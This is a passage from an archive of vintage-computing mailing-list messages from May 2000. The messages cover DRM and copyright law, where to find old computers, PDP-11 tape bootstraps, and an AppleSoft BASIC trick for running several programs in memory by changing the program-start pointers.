8:01 AM Subject: Re: Finding Classic Computers > Actually, it's an ex-CF-104, built for the Canadian Armed Forces. The main > differences (IIRC) were in modified flaps, leading edge slats and air > brakes to provide better low-speed performance. The perennially > cash-strapped CAF actually operated the Starfighter, designed as a > high-speed interceptor, as fighter-bombers (!) for ground support in > Europe. This doubtless contributed to the 104's reputation as a > "widow-maker" in the CAF. > > Nice toy if you have money to burn and like to sightsee at Mach 2. Lots of jet stuff on the s/h and surplus market these days. IF you have deep enough pockets. A Czech thing (L-29?) seems to be popular and fairly cheap. I saw a very nice Australian registered Jet Provost on www.barnstormers.com a couple days back for around $69KUSD. It's lives in Tasmania, and did pylon racing there. Supposed to be cheaper to own and operate than a piston engined warbird. Makes sense, especially with the high octane stuff getting hard to find and very expensive. Jet fuel is cheap in comparison. Cheers Geoff From eric at brouhaha.com Tue May 16 21:08:19 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516184528.C5340@electron.quantum.int> (rutledge@cx47646-a.phnx1.az.home.com) References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> <20000516184528.C5340@electron.quantum.int> Message-ID: <20000517020819.4082.qmail@brouhaha.com> "Shawn T. Rutledge" wrote: > I think that in the long run the majority usually gets its way; and > everyone knows it's better to own than to rent if one can afford it. Yes, but rental can easily be disguised to fool the masses. Right now it's just limitations on what you can play DVDs on (only authorized DVD players and PC-based decoders under approved operating systems). So do you really *own* the DVD? This kind of stuff will become more and more prevalent unless the masses refuse to accept it. The tyranny of the majority does not necessarily lead to things that satisfy us. People are willing to accept a lot of suboptimal crap just because they don't know any better. My point was not specifically about software rental, but about the increasing power of the intellectual property owners to restrict what can be done with their IP. In the past, for the most part copyright law only prevented making copies, and there were exceptions even to that. But with our wonderful new laws like the DMCA, the content providers can impose essentially arbitrary limitations on how the consumer may use the content, and not just have legal authority to enforce those limitations, but also to prosecute as criminals anyone who attempts to so much as figure out how the limitations work (without necessarily even actually circumventing them). And this damn legislation sailed through Congress with very little opposition, so I don't see any reason to expect that the content providers won't be able to sew things up even tighter over time. To date I've purchased a lot of software, albums, and movies. If things keep going the way they appear to be headed, I won't be buying *any* in the future. (Fortunately they can't retrofit more protection onto CD-audio and DVD-video as they stand, but eventually they'll obsolete them for new formats.) From allisonp at world.std.com Tue May 16 20:59:33 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Private jets was Re: Finding Classic Computers Message-ID: <006b01bfbfa4$3829aba0$7264c0d0@ajp166> >$69KUSD. It's lives in Tasmania, and did pylon racing there. Supposed >to be cheaper to own and operate than a piston engined warbird. Makes >sense, especially with the high octane stuff getting hard to find and >very expensive. Jet fuel is cheap in comparison. The cost of fuel is a red herring. the lower cost of jets is in initial cost and cheaper parts. the cost for fuel is out of sight as most of them were older less efficient engines that could easily eat 4-800pph at ground idle (600pph =100usgallons/hr) and inflight numbers can dwarf this. Piston planes are like older computers, rarer and need more technical savy to use an maintain. Parts are not cheap, hard to find and people that know them well scarce. the upside is 75gph(imperial) of hard to find Green gas (130 octane) for a P51. Right now local prices for 100LL gas is $2.25! Allison From foo at siconic.com Tue May 16 21:52:33 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516184528.C5340@electron.quantum.int> Message-ID: On Tue, 16 May 2000, Shawn T. Rutledge wrote: > I think that in the long run the majority usually gets its way; and > everyone knows it's better to own than to rent if one can afford it. Consumers killed that attrocity known as "DIVX". We'll probably kill any other incantation of the same idea. The past few years have introduced an ominous trend towards corporations trying to increase their ability to squeeze more residual income out of their ownership of information. If it continues on this path, they will simply see an increase in piracy of their product. It reminds me of software protection in the 80s. Companies would try harder and harder each year to thwart piracy with new protection schemes that would always be broken, prompting newer and strong protection schemes that would be broken, etc. The idea of copy protection ultimately failed. What the corporations are doing now is, instead of trying to protect their information (well, except for the case of DVDs), they are trying to create more laws that will presumably allow them to extract higher penalties from big time (or not so bigtime) offendors. Sure it's ominous and, really, more obnoxious than anything. But I believe strongly enough in the open software "movement" that I think in the end the current actions by the big corporations involved in this power grab of the new economic paradigm will fail, and we'll have wondered what we were worrying about. The internet is here, and it's here to stay. It has introduced the world to an entirely new construct of freedom of information. The big corporations are screwed and they know it, and right now they are just running scared. All their current efforts will have all been in vain in due time. Sellam From dpeschel at eskimo.com Tue May 16 23:23:11 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for In-Reply-To: from "Vintage Computer GAWD!" at May 16, 2000 07:52:33 PM Message-ID: <200005170423.VAA00690@eskimo.com> Sellam Ismail wrote: > On Tue, 16 May 2000, Shawn T. Rutledge wrote: > > > I think that in the long run the majority usually gets its way; and > > everyone knows it's better to own than to rent if one can afford it. > > Consumers killed that attrocity known as "DIVX". We'll probably kill any > other incantation of the same idea. > > The past few years have introduced an ominous trend towards corporations > trying to increase their ability to squeeze more residual income out of > their ownership of information. If it continues on this path, they will > simply see an increase in piracy of their product. It's not "information", it's "content". And your word "ownership" is pretty accurate -- some companies may describe themselves as "content providers", but I think they really want to be "content controllers" in many ways. Even the carriers want to be controllers (GeoCities can't just be an ISP -- they have to have custom icons in your "Favorites" menu and stupid pop-up windows.) > Sure it's ominous and, really, more obnoxious than anything. But I > believe strongly enough in the open software "movement" that I think in > the end the current actions by the big corporations involved in this power > grab of the new economic paradigm will fail, and we'll have wondered what > we were worrying about. I believe strongly in open source as well, but I wouldn't rely on it to stop the corporations. If/when it does, they will have tried a lot of alternatives by then (like getting laws passed). Even if the laws are unenforced, they would still be on the books. Better to stop them now. Open source can't do that. Did anyone mention relationships between corporations yet? Ads about the Internet sometimes emphasize that you (as a corporation) can easily set them up. Not only are they a gold mine, they often ensure that the customer has fewer alternatives and less control over information. -- Derek From foo at siconic.com Tue May 16 22:28:43 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <002601bfbeb7$04ed33d0$0201640a@colossus> Message-ID: On Mon, 15 May 2000, Earl Evans wrote: > Looks great Sellam! > > You've got roughly the same sources that I listed in part II of my article > on collecting: > > http://www.retrobits.com/col-article2.html Earl, excellent article! If I'd known you had written this before I wrote mine I don't know if I would've bothered. We touch upon pretty much the same themes, although your article complemented mine in places and gave me new ideas (thanks! :) > You also have some additional information, such as some pricing hints, > advice on haggling, etc. You included Garage Sales which I neglected, mostly because they rarely turn up anything of interest, although I did buy a complete Tandy 1000 system at a garage sale around the corner from my house one day which I needed a photo of for someone writing a book. Also, I think I'll mention Pawn Shops in a revised edition, mostly to warn people not to even bother. Anything they have will be too recent to be of any interest, and they certainly wouldn't give anyone good money for an old piece of junk computer, and thus have any for sale. Also, the stuff they sell is, in my experience, horribly over-priced, sometimes over retail! > If you'd like, once you get this primer in it's final form, I'd be happy to > post it on retrobits.com (or a link to it, if you have it on your web site). That sounds great. I'll get the revised edition finished shortly and submit it to you. I'm in the process of re-vamping the VCF website and will start to include content periodically, so perhaps I'll link to YOUR article as well :) From cmcmanis at mcmanis.com Tue May 16 23:44:52 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:44 2005 Subject: TMSCP boot for PDP-11? Message-ID: <4.3.1.2.20000516214315.02673a10@208.226.86.10> Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape drive? My sigma RQD11 has an MSCP bootstrap that I can enable but it doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, and DL (RL0x?). --Chuck From foo at siconic.com Tue May 16 23:03:22 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: Stop me if you've heard this one before... On the Apple ][, in AppleSoft BASIC, you can set what the start address of your BASIC program will be in memory by poking it into location 103-104 ($68-$69 hex). The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). QUESTION: Does anyone know why the default is $801 instead of $800? I always wondered why that was. Anyway... For various pratical reasons, usually to avoid over-running the beginning of the first hi-res graphics page which began in memory at 8192 ($2000) with variable data (which was always stored just after the end of the BASIC program in memory), sometimes people would force their programs to load at 16384 ($4000, which is also the beginning of the second hi-res graphics page) or 24576 ($6000), or where ever. It occured to me tonight as I was writing just such an application--the Nerd Trivia Challenge management program for the VCF, which loads a hi-resolution character generator at $1600, which would over-run my BASIC code, which is therefore relocated to $4001--that two or more BASIC programs could reside in memory at the same time! One would simply POKE the beginning address into 103-104 and then LOAD the new program, and repeat this for as many programs as is possible with the memory available. As an experiment, I wrote two simple programs: one at $801 that simply prints "PROGRAM 1!" and then sets the start of the program to $4001 by POKEing a 64 into 104 then issues a RUN command, and another at $4001 that simply prints "PROGRAM 2!" and then sets the start of the program to $801 by POKEing an 8 into 104 and issues a RUN. I run either of the programs and I get an endlessly alternating display of "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. The only problem here of course is that any variables in either program will be quashed when the alternate program is run. However, there are also pointers that point to the beginning of variable memory, and I'm sure there would be a way to preserve these pointers so that individual variables for either program stay intact between transitions. Something worth exploring just for the hack value. I never actually saw this in practice in all my years of Apple ][ hacking, and believe me I snooped through a lot of code. Has anyone ever seen this, and if so, for what purpose? I just thought of one example, which was a Beagle Brothers product that let you have two programs in each 64K bank of memory on a 128K Apple ][. It seems to me this could be mutated into a sort of practical method of multi-tasking BASIC programs. Comments? Sellam From foo at siconic.com Tue May 16 23:14:47 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for In-Reply-To: <200005170423.VAA00690@eskimo.com> Message-ID: On Tue, 16 May 2000, Derek Peschel wrote: > I believe strongly in open source as well, but I wouldn't rely on it to stop > the corporations. If/when it does, they will have tried a lot of > alternatives by then (like getting laws passed). Even if the laws are > unenforced, they would still be on the books. Better to stop them now. > Open source can't do that. My point is that I believe concepts like Open Source will make the laws moot. I believe that content will be increasingly published under "Open Source" principles and the "controlled" content will be in the minority, and not have the value that the laws currently being passed are striving to protect. It's just a trickle right now, but I hear the flood coming. I'm getting my board ready to ride that wave when it comes in, baby! :) Sellam the Prognosticator From healyzh at aracnet.com Wed May 17 00:32:46 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:44 2005 Subject: TMSCP boot for PDP-11? In-Reply-To: <4.3.1.2.20000516214315.02673a10@208.226.86.10> Message-ID: >Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape >drive? My sigma RQD11 has an MSCP bootstrap that I can enable but it >doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, >and DL (RL0x?). > >--Chuck It's on the Sunsite (Metalab) archive in the Hardware section, IIRC. I had that problem myself until I got a newer WQESD/04 that I'd been using to bootstrap my /73. It's a pain in the neck to type in. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ethan_dicks at yahoo.com Wed May 17 00:40:25 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:44 2005 Subject: Goings on at the RetroComputing Farm (was Re: Finding Classic Computers) Message-ID: <20000517054025.8126.qmail@web613.mail.yahoo.com> --- allisonp wrote: > >Cool! I didn't know you flew. I'm a student myself - one more solo > > Yep, been drivin my C150 '528 for the last 21 years. ;) > > If things go well it may even wander over to Ohio in the next few months. Let me know if and when; I'll give you a tour of the collection at the farm. I'm about 15-20 minutes drive from Port Columbus (CMH) where I do my training (it's been educational learning in Class C space as compared to the other nearby options - Class D at OSU/Don Scott, or at smaller, uncontrolled airports). So far, Hans Franke has been by to visit, but he was in enough hurry to get back to Pittsburgh for his flight that he hasn't seen the inside of the quonset hut yet. For the moment, stuff there is in storage mode. The items in the house in the former den are all slated for cleaning, test and repair. My next restoration goals: ongoing work on the PDP-8/e (as soon as I can find my overhead memory connectors), its TD8E + TU56, and an RK05J on some flavor of LSI-11 (since I have a last-known-to-be-working RKV11D and an RK11-C in dubious shape and no RK8E). Further down the pipe are the external 8K memory box for the working -8/L, and a complete teardown and cleaning of my PDP-8/i, the second -8 that I found back in High School. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From mikeford at socal.rr.com Wed May 17 01:23:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc In-Reply-To: References: <20000516184528.C5340@electron.quantum.int> Message-ID: >On Tue, 16 May 2000, Shawn T. Rutledge wrote: > >> I think that in the long run the majority usually gets its way; and >> everyone knows it's better to own than to rent if one can afford it. > >Consumers killed that attrocity known as "DIVX". We'll probably kill any >other incantation of the same idea. Taken a look at Uniform Computer Information Transactions Act (UCITA) lately? http://www.macintouch.com/ucita.html#links From pete at dunnington.u-net.com Wed May 17 02:23:17 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:44 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Cool AppleSoft BASIC trick I never thought of before" (May 16, 21:03) References: Message-ID: <10005170823.ZM4329@indy.dunnington.u-net.com> On May 16, 21:03, Vintage Computer GAWD! wrote: > As an experiment, I wrote two simple programs: one at $801 that simply > prints "PROGRAM 1!" and then sets the start of the program to $4001 by > POKEing a 64 into 104 then issues a RUN command, and another at $4001 > that simply prints "PROGRAM 2!" and then sets the start of the > program to $801 by POKEing an 8 into 104 and issues a RUN. > > I run either of the programs and I get an endlessly alternating display of > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. > > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. I'm sure I've seen something similar, but I can't think what... it's a long time since I actually used Apple ][s. Something with a menu system for a set of disk programs, possibly. If I remember correctly, Applesoft BASIC is one of those that searches from the start of program every time it executes a GOTO or GOSUB. If I'm right, the easy way to preserve variables (and all the rest of the program state, including the GOSUB/FOR..NEXT stack) would be to POKE in the new start address and then GOTO 10 instead of RUN. If you do this, you better set LOMEM as well (but only once), or make sure the highest-loaded program is the first one RUN, so the variables start in a suitable place. -- Pete Peter Turnbull Dept. of Computer Science University of York From foo at siconic.com Wed May 17 02:16:58 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005170823.ZM4329@indy.dunnington.u-net.com> Message-ID: On Wed, 17 May 2000, Pete Turnbull wrote: > If I remember correctly, Applesoft BASIC is one of those that searches from > the start of program every time it executes a GOTO or GOSUB. If I'm right, > the easy way to preserve variables (and all the rest of the program state, > including the GOSUB/FOR..NEXT stack) would be to POKE in the new start > address and then GOTO 10 instead of RUN. I think you'd have to do more than this since the interpreter won't know the difference between Program A running and Program B. In other words, the varibale A$ in Programs A&B will both point to the same variable (hmmm...an interesting way to implement shared memory in BASIC!) > If you do this, you better set LOMEM as well (but only once), or make sure > the highest-loaded program is the first one RUN, so the variables start in > a suitable place. LOMEM does almost what you need: it moves the start of the variable data pointer to the address specified with the command. However, I do believe this initializes the variable space, which would not be good. I've never devled into the way BASIC variables are kept but I am pretty sure that they are searched for from the beginning of whatever LOMEM is to the end (as given, I believe, by HIMEM). LOMEM and HIMEM simply set pointers in the zero page that BASIC uses to keep track of the low and high memory locations for variable storage. So manually keeping track of these and POKEing them in for each swap should appropriately keep the variable memory for each program in memory separate and intact. I was just thinking that a sort of Multi-Tasking BASIC Operating System (MTBOS) could be developed that would take care of all this for you. Also, since the text screen on the Apple ][ can be defined by poking in the left column, right column, top row and bottom row into the appropriately zero page addresses, one can also specify a screen area that each program is allowed to run in. This could be maintained by the MTBOS. The MTBOS would basically reside somewhere in memory (a simple one could probably be made to fit in $300-$3A0 which is the common unused space where simple machine language utilities go) and can be CALLed from each program running at regular intervals to allow a swap to the next process. It would be sort of like Windows 3.0 :) (but probably faster). I think when I have a couple hours to burn one day I'm going to build a little demo of this for the hell of it. It would be a fun little exercise and might end up making a cute VCF display of some sort. From whdawson at mlynk.com Wed May 17 04:21:24 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:44 2005 Subject: Two LISP books available, dirt cheap. Message-ID: <000001bfbfe1$45cef0c0$a1e3dfd0@cobweb.net> Hello all, These softbound books are in very good condition. I'm asking 1.2 x shipping. Will ship USPS bookrate in the US. Here's what they are: Common LISP, The Language, Guy L. Steele Jr., Copyright 1984, Digital Press, ISBN 0-932376-41-X, DEC # EY-6706E-DP. Original price $23.00. This book is in almost new condition (never read). and Programming in Common LISP, Rodney A. Brooks M.I.T., Copyright 1985, John Wiley & Sons, ISBN 0-471-81888-7. Original price $21.95. Sold through CMU bookstore. Both books have a library stamp imprint on the title pages "Library of John Evan Bares". There are no other marks, highlightings or underlinings. Please contact me off list if you are interested in either or both of these. FCFS. I'll post to the list when they have been spoken for. Bill Dawson whdawson@mlynk.com ? From whdawson at mlynk.com Wed May 17 05:29:51 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:44 2005 Subject: Two LISP books available, dirt cheap. In-Reply-To: <000001bfbfe1$45cef0c0$a1e3dfd0@cobweb.net> Message-ID: <000101bfbfea$d5c56840$a1e3dfd0@cobweb.net> Both books have been spoken for. Thanks. -> Hello all, -> -> These softbound books are in very good condition. I'm asking 1.2 x -> shipping. Will ship USPS bookrate in the US. Here's what they are: -> -> Common LISP, The Language, Guy L. Steele Jr., Copyright 1984, -> Digital Press, -> ISBN 0-932376-41-X, DEC # EY-6706E-DP. Original price $23.00. -> This book is -> in almost new condition (never read). -> -> and -> -> Programming in Common LISP, Rodney A. Brooks M.I.T., Copyright 1985, John -> Wiley & Sons, ISBN 0-471-81888-7. Original price $21.95. Sold -> through CMU -> bookstore. -> -> Both books have a library stamp imprint on the title pages -> "Library of John -> Evan Bares". There are no other marks, highlightings or underlinings. -> -> Please contact me off list if you are interested in either or -> both of these. -> FCFS. I'll post to the list when they have been spoken for. -> -> Bill Dawson -> whdawson@mlynk.com -> ? -> From CLASSICCMP at trailing-edge.com Wed May 17 06:04:57 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:44 2005 Subject: TMSCP boot for PDP-11? Message-ID: <000517070457.2020c5b5@trailing-edge.com> >Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape >drive? Have you tried the one at http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/ in the section you get to by clicking on 'bootstraps'? > My sigma RQD11 has an MSCP bootstrap that I can enable but it >doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, >and DL (RL0x?). Yeah, installing software from tape was a rather late option for Q-bus machines, which started out (marketing-wise) at the "low" end of the PDP-11 spectrum. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From at258 at osfn.org Wed May 17 06:49:42 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:44 2005 Subject: IBEX info? (fwd) In-Reply-To: Message-ID: The IBEX was sold in the Boston area, but made in Japan. It was a CP/M computer, a bit on the heavy side, fairly nice styling. We do have some documentation on it, but it is buried, as well as our IBEX. On Tue, 16 May 2000, Vintage Computer Festival wrote: > > Can anyone help this dude? > > > ---------- Forwarded message ---------- > Date: Tue, 16 May 2000 10:59:23 -0500 > From: Beau Reichert > To: vcf@vintage.org > Subject: IBEX info? > > Do you know where I could get info on a IBEX computer. > > Thanks > Beau > > > Sellam International Man of Intrigue and Danger > ------------------------------------------------------------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From jfoust at threedee.com Wed May 17 09:16:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:44 2005 Subject: Computer Value (was Re: value of RK05) Message-ID: <4.3.0.20000517090543.018bd5d0@pc> Back on May 6, I said: >RK05s? I bought five RL02 disk packs the other day for $2 each. >I see they're going for $30 on eBay. I'll use the proceeds to >fund other bad habits. Just to confound the eBay hysteria, I'll recount what happened with these RL02s. I was all excited because eBay's history showed a single RL02 went for $28 a few weeks ago. I mentioned I had these packs on this list on May 6 and no one responded. I listed one pack on eBay on May 9. I composed a nice page, sent private e-mail to likely bidders telling them of the auction. Chuck McManis missed my original post to this list, but he was the winning bidder and picked one up for $5.50. I sold the rest to him for that price, so he got five with shipping for $45. (Did I bend any eBay rule by selling him the other ones?) In another eBay story, I was the top bidder for a Leitz illuminator transformer for an old microscope I have, at $5. However, the seller wanted to charge $12 shipping. This item is two-three pounds at best. I questioned this and haven't heard from them yet. Similarly, someone sent me a note about Pascal MicroEngine schematics they're auctioning. For 50 xeroxed pages, the first bid is $9 and they want $7 shipping. No doubt some eBay sellers have discovered the old mail-order rule of thumb that the cost of goods and shipping should be covered by the "shipping and handling" charge, and that the price is just gravy. :-) BTW, I always charge "actual shipping cost". - John From xds_sigma7 at hotmail.com Wed May 17 09:25:49 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:44 2005 Subject: Sperry Univac Minicomputer Message-ID: <20000517142549.60741.qmail@hotmail.com> 5 feet tall is way too big for a Varian.. the V70 series are early 70's to at least mid 80's machines, only maybe a foot tall (the CPU is what I am speaking of, naturally). I know Univac kept making the V70's until at least 1984; they had to, due to their contract with the company my dad worked for at the time, Auto-trol Technology. They integrated V70's (and 620 series machines before that) into their CAD systems, and in some of the old stock prospectuses(prospecti?) we have at home, it says that Sperry Univac had to give Auto-Trol a minimum of 6 months notice before stopping production of the V70 series. FWIW, was essentially Apollo Computer's first customer, and Apollo's eventually became the basis for Auto-Trol's CAD systems. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From xds_sigma7 at hotmail.com Wed May 17 09:31:45 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:44 2005 Subject: SDS parts.. info please Message-ID: <20000517143145.35706.qmail@hotmail.com> OK, Yesterday at the scrap yard, I found a whole lot of 60's/70's Burroughs, Honeywell, NCR, and Univac boards... I'm definetly going to get the Honeywell boards since they're from a 316 or 516 (approx. 50+ boards), but I was wondering if anyone had info on what the SDS boards came out of? And no, I'm not asking who SDS was or something like that, I mean if I was to get the boards does anyone have the necessary info to tell what machine they were used in. The boards are copyrighted 1965 and 1966, so I was thinking maybe they were from a 940? They're not very big boards, something like 4 inches by 3 inches, approx of course. Bigger than H316 boards, which isn't saying much, heh. I'm not planning on getting any of the NCR or Burroughs stuff, but I am going to write down all the part numbers, maybe get the remants of the one NCR core stack I found, since its already ruined and then I could have a nice open one to display... dated 1967. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ethan_dicks at yahoo.com Wed May 17 10:33:06 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:44 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <20000517153306.18673.qmail@web615.mail.yahoo.com> --- Vintage Computer GAWD! wrote: > > Stop me if you've heard this one before... STOP! :-) > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). There are similar locations for the same pointers in all versions of M$ BASIC for PETs, etc. > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). Typical. The PET uses $0401, and the C-64 uses $0801 (because the display memory is at $0400 by default on a C-64) > QUESTION: Does anyone know why the default is $801 instead of $800? I > always wondered why that was. Anyway... I'm not sure of the exact reason, but for PETBASIC, $0400 (or $0800) must contain a null byte. I suspect the same for AppleSoft. > It occured to me tonight as I was writing just such an application--the > Nerd Trivia Challenge management program for the VCF, which loads a > hi-resolution character generator at $1600, which would over-run my BASIC > code, which is therefore relocated to $4001--that two or more BASIC > programs could reside in memory at the same time! One would simply POKE > the beginning address into 103-104 and then LOAD the new program, and > repeat this for as many programs as is possible with the memory available. There was a machine language program for the PET called "QuadraPET" published way back when (I have a copy on a 1541-disk-image file), that moved all the BASIC pointers around in zero page to create four 8K virtual PETs on a 32K PET. The author suggested that in a family setting, each user could have their own space and not clobber other people's work. I'm sure it would be trivial to adapt to AppleSoft, presuming there's around 100 bytes of protected memory to stuff it into - the trick on the PET was to use the second cassette buffer since so few users ever had two cassette drives. It was a great learning experience to have to fit useful programs into 192 bytes. > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. cf. QuadraPET; I can send you a copy if you'd like to disassemble it. ISTR it was published in COMPUTE! if you have a collection of them from the 1978- 1981 timeframe. I'm fairly sure that the source is printed in the magazine. OTOH, I am not familiar with this sort of trick being done for AppleSoft, probably because back in those days, people moved to M/L for the Apple very early on because of the demands for speed on graphical programs. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From mgregory at vantageresearch.com Wed May 17 10:49:36 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <001601bfc017$81217ea0$0200a8c0@marvin> -----Original Message----- From: Vintage Computer GAWD! To: classiccmp@classiccmp.org Date: Tuesday, May 16, 2000 10:37 PM Subject: Re: Finding Vintage Computers - A Primer > >Also, I think I'll mention Pawn Shops in a revised edition, mostly to warn >people not to even bother. Anything they have will be too recent to be of >any interest, and they certainly wouldn't give anyone good money for an >old piece of junk computer, and thus have any for sale. Also, the stuff >they sell is, in my experience, horribly over-priced, sometimes over >retail! > In my area, there's a related type of store that is worth a look. It's a chain called "Cash Converters", where they buy your unwanted goods (at substantially less than the estimated value) and then sell them in a retail environment. Like a permanent garage sale under one roof. Unlike a pawn shop, you can't reclaim your item for what they gave you for it. They occasionally have classic comp stuff; I've found TRS-80s of various kinds, Model 100s, PS/2s, Newtons and a lot of older software. The prices are initially set high, but if an item doesn't sell, they progressively reduce the price until it does. IIRC, the concept originated in Australia, and there are also stores in the States. Regards, Mark. From korpela at albert.ssl.berkeley.edu Wed May 17 10:55:04 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: from Vintage Computer GAWD! at "May 16, 2000 09:03:22 pm" Message-ID: <200005171555.IAA08805@islay.ssl.berkeley.edu> > > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). > > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. I wrote something like this to switch between two BASIC programs using the & command back around '83-'84. I think the key was to also set the himem pointer (the highest location available to basic variables) along with the lomem pointer. In that case each program gets separate variable memory. I remember trying to cooperatively multitask running programs by saving and restoring some other zero page locations. I think there's a pointer to the next basic token when running and some other state information. I'd need to look at a zero page map. I had some parital sucess but I don't think I ever got it fully working. It should be possible, though. Maybe I should pull out my GS and see if I can resurect the code. Far too many of my floppies from that era are unreadable though. I went through a "dark decade" without a ][ compatible to remaster them on. :( > It seems to me this could be mutated into a sort of practical method of > multi-tasking BASIC programs. It's fun for the hack value. The program switcher was useful as it basically allowed running another program without blitzing the code you were working on. Kind of a BASIC TSR. Eric From xds_sigma7 at hotmail.com Wed May 17 11:48:52 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:45 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <20000517164852.42348.qmail@hotmail.com> Umm well to put it mildly, Ellison is a freaking weirdo... speaking of which, has the PC been replaced yet, Mr. Ellison? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mranalog at home.com Wed May 17 12:01:02 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <3922D04E.1E9CC9C8@home.com> Sam said: > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). > QUESTION: 